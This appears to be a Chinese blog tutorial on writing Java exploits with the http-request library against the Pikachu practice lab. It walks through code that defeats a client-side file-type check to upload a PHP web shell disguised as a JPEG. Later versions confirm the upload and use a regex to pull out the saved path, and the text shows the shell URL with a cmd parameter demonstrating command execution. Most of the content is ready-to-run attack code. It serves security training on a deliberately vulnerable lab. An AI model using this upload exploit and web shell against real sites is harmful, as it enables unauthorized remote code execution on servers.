JAVA-Exploit编写(7)--http-request库文件上传使用续篇

目录

1.http-request简介

[2. 依赖导入](#2. 依赖导入)

3.靶场实战

[3.1 简单使用](#3.1 简单使用)

[3.2 增加判断机制](#3.2 增加判断机制)

[3.3 文件上传成功后的利用](#3.3 文件上传成功后的利用)

[3.4 正则匹配上传文件的返回的路径](#3.4 正则匹配上传文件的返回的路径)


1.http-request简介

http-request 是一个库 里面提供很多方法,使得很容易就可以构造http请求,相比于之前使用的标准库类等要简单使用很多,目前通过此库来编写EXP较多.

2. 依赖导入

java 复制代码
<dependency>
      <groupId>com.github.kevinsawicki</groupId>
      <artifactId>http-request</artifactId>
      <version>5.6</version>
</dependency>

3.靶场实战

3.1 简单使用

上一篇是通过自己编写的一个文件上传界面来实现的,现在就用实际的靶场来实现,同时也需要做一定的改动.

其中可以很明显看到,文件的请求头部分Content-Type参数,这个参数是通过burp抓包后得来的参数,使用exp前抓一次包,后续就不需要抓包了,因为本关事通过判断文件类型的,只要前端检测到文件类为image/jpeg/jpg/png这几种就可以发送过去了,就是一个前端验证

java 复制代码
package com.deger.Exp;

import com.github.kevinsawicki.http.HttpRequest;

import java.io.File;

public class ExpUpload {
    public static void main(String[] args) {
        HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");
        httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");
        httpRequest.header("Content-Type","multipart/form-data; boundary=---------------------------33601824373446");
        httpRequest.part("uploadfile","xiaoyu.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell1.php"));
        httpRequest.part("submit","submit");
        String context = httpRequest.body();
        System.out.println(context);

    }
}

打印请求返回的信息后

可以通过搜索文件上传这几个关键词来判断是否上传成功

3.2 增加判断机制

增加一个文件上传的标志判断,就通过判断返回的响应中是否有上面的关键词信息即可,使用contains这个方法即可

java 复制代码
package com.deger.Exp;

import com.github.kevinsawicki.http.HttpRequest;

import java.io.File;

public class ExpUpload {
    public static void main(String[] args) {
        HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");
        httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");
        httpRequest.header("Content-Type","multipart/form-data; boundary=---------------------------33601824373446");
        httpRequest.part("uploadfile","xiaoyu.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell1.php"));
        httpRequest.part("submit","submit");
        String context = httpRequest.body();
        if(context.contains("文件上传成功")){
            System.out.println("文件上传成功");
        }else{
            System.out.println("文件上传失败");
        }
    }
}

3.3 文件上传成功后的利用

文件上传后的文件的访问路径,通过访问验证确实文件上传成功

bash 复制代码
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/xiaoyu.php
bash 复制代码
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/xiaoyu.php?cmd=var_dump(1)

尝试命令执行成功

3.4 正则匹配上传文件的返回的路径

使用起来还是比较简单的,主要是正则的编写,这里可以自行编写正则,或者通过正则生成网站,实在不会使用,通过ai编写正则也是可以的,怎么高效怎么来就可以了,下面是我常用的一个正则生成网站.

Regex正则表达式在线测试、生成、解析工具 - GoRegex.cnhttps://goregex.cn/

bash 复制代码
package com.deger.Exp;

import com.github.kevinsawicki.http.HttpRequest;

import java.io.File;

public class ExpUpload {
    public static void main(String[] args) {
        // 发送POST请求
        HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");
        httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");
        httpRequest.header("Content-Type", "multipart/form-data; boundary=---------------------------33601824373446");
        httpRequest.part("uploadfile", "xiaoyu.php", "image/jpeg", new File("D:\\phpstudy_pro\\WWW\\shell1.php"));
        httpRequest.part("submit", "submit");
        
        // 获取响应体
        String context = httpRequest.body();
        // System.out.println(context);
        
        // 检查是否上传成功
        if (context.contains("文件上传成功")) {
            System.out.println("文件上传成功");
            
            // 使用正则表达式匹配文件保存路径
            String pattern = "文件保存的路径为:(uploads/[^<]+)";
            java.util.regex.Pattern p = java.util.regex.Pattern.compile(pattern);
            java.util.regex.Matcher m = p.matcher(context);
            
            if (m.find()) {
                System.out.println("文件保存的路径为:" + m.group(1));
            } else {
                System.out.println("未找到文件保存路径");
            }
        } else {
            System.out.println("文件上传失败");
        }
    }
}
相关推荐
想躺平的咸鱼干3 分钟前
Volatile解决指令重排和单例模式
java·开发语言·单例模式·线程·并发编程
hqxstudying30 分钟前
java依赖注入方法
java·spring·log4j·ioc·依赖
·云扬·38 分钟前
【Java源码阅读系列37】深度解读Java BufferedReader 源码
java·开发语言
Bug退退退1232 小时前
RabbitMQ 高级特性之重试机制
java·分布式·spring·rabbitmq
小皮侠2 小时前
nginx的使用
java·运维·服务器·前端·git·nginx·github
Zz_waiting.2 小时前
Javaweb - 10.4 ServletConfig 和 ServletContext
java·开发语言·前端·servlet·servletconfig·servletcontext·域对象
全栈凯哥2 小时前
02.SpringBoot常用Utils工具类详解
java·spring boot·后端
兮动人2 小时前
获取终端外网IP地址
java·网络·网络协议·tcp/ip·获取终端外网ip地址
呆呆的小鳄鱼2 小时前
cin,cin.get()等异同点[面试题系列]
java·算法·面试
独立开阀者_FwtCoder2 小时前
"页面白屏了?别慌!前端工程师必备的排查技巧和面试攻略"
java·前端·javascript